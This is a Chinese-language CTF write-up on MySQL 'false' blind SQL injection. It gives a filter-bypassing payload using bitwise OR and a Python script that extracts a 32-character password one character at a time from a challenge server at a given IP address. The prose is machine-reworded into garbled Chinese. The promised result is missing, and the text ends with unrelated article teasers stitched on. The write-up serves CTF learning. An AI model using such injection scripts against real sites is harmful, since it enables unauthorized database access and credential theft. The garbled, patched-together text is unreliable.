0×01 前语
false盲注有些时分能够绕过一些WAF,也是简略被忽视的细节。本文的意图在于经过做CTF的一起来学习注入原理,一起也运用到本身的才能。这儿仅仅简略说一些我自己的了解,或许网上有更好的思路和见地,都是值得学习的。
0×02 false注入原理
MYSQL的隐式类型转化,当字符串和数字比较时,会把字符串转为浮点数,而字符串转化时会发生一个warning,转化的成果为0,但假如字符串最初是数字话仍是会从数字部分切断,转化为数字
0×03 实例
举例地址为:
http://118.89.219.210:49167/index.php(Bugku)
填入username和password之后,Burp抓包,send to repeater剖析一下
发现过滤了挺多的,空格,%0a,/**/,and,union等等
可是 |(位或)&(位与)^(位异或)没有过滤掉
这儿的话应该来说都能够用,我试了一下|(位或)和 ^(位异或),这两个都是能够的
结构一个payload句子为:
username=admin’|(ascii(mid((password)from(1)))>53)#&password=sd
函数介绍:
MID(column_name,start[,length]) 由于过滤掉空格的原因,才用上述格局
ASCII() 回来字符表达式最左端字符的ASCII 码值
当榜首字母的ascii码值为53的时分,右边的表明式则为false,与‘admin’ 或, 适当与 0 | 0 成果为0,当username=0时,回来查询字段的一切数据,(只需username没有以数字最初的)这儿留意 按位或的优先级高于=,所以是先按位或再赋值给username。
当然了,想结构为0的话不止只要位运算符,还有+号(‘ ’+‘ ’=0), -号(‘ ‘-’ ‘=0), *号(‘ ‘*’ ‘=0), /号(‘ ‘/1=0), %取余(‘ ‘%1=0)等等
能够先判别一下字段长度:
依据页面信息判别为32位
原理都讲得差不多了
能够自己手注,但好像太麻烦了
下面能够写一个Python脚本跑出来
import requests
url = "http://118.89.219.210:49167/index.php"
r = requests.Session()
result=''
for i in range(1,33):
for j in range(37,127):
payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
data={"username":payload,"password":"psdvs"}
print payload
html=r.post(url,data=data)
if "password error" in html.content:
result+=chr(j)
print result
break
print result
成果为:
阅读器运用结构(BeEF)是一个易于运用的开源东西,许多安全职业的从业人员和黑客都可以运用它来对网页阅读器进行进犯。现在,已知的可以抵挡BeEF进犯的办法十分的少,所以我决议开发一个Chrome阅读...
序 这儿有必要得说一下==和===这俩货的重要性。==是比较运算,它不会去查看条件式的表达式的类型===是恒等,它会查看查表达式的值与类型是否持平NULL,0,”0″,array()运用==和fals...
布景介绍 一个小型Web开发者团队曾托付咱们对他们的移动使用进行安全评价,该使用的后端是一个REST API。该使用的架构很简单,只由3台linux服务器组成: Node.js MongoDB Red...
为什么有今日这篇文章?原因是我在阅读Twitter时,发现关于长途文件包括RFI的一个奇淫技巧!值得记载一下,思路也很别致!由于它打破我之前认为RFI已死的观念:) 正文 RFI引出 咱们知道php最...
在布置蜜罐之后,会发作很多的日志,关于要挟情报而言,咱们需求经过这些日志来提取其间的有用的数据,本文将会描述提取那些数据用来完结剖析。 布置蜜罐之后会生成描述发作的事情的日志记载。能够收集到的安全事情...
布景 在互联网职业,Google将安全做到基础设施里边,从来是各大公司学习的典范,在Web方面,经过GFE (Google Front-End) 一致对外发布,事务只需求在GFE挂号,GFE就会调取正...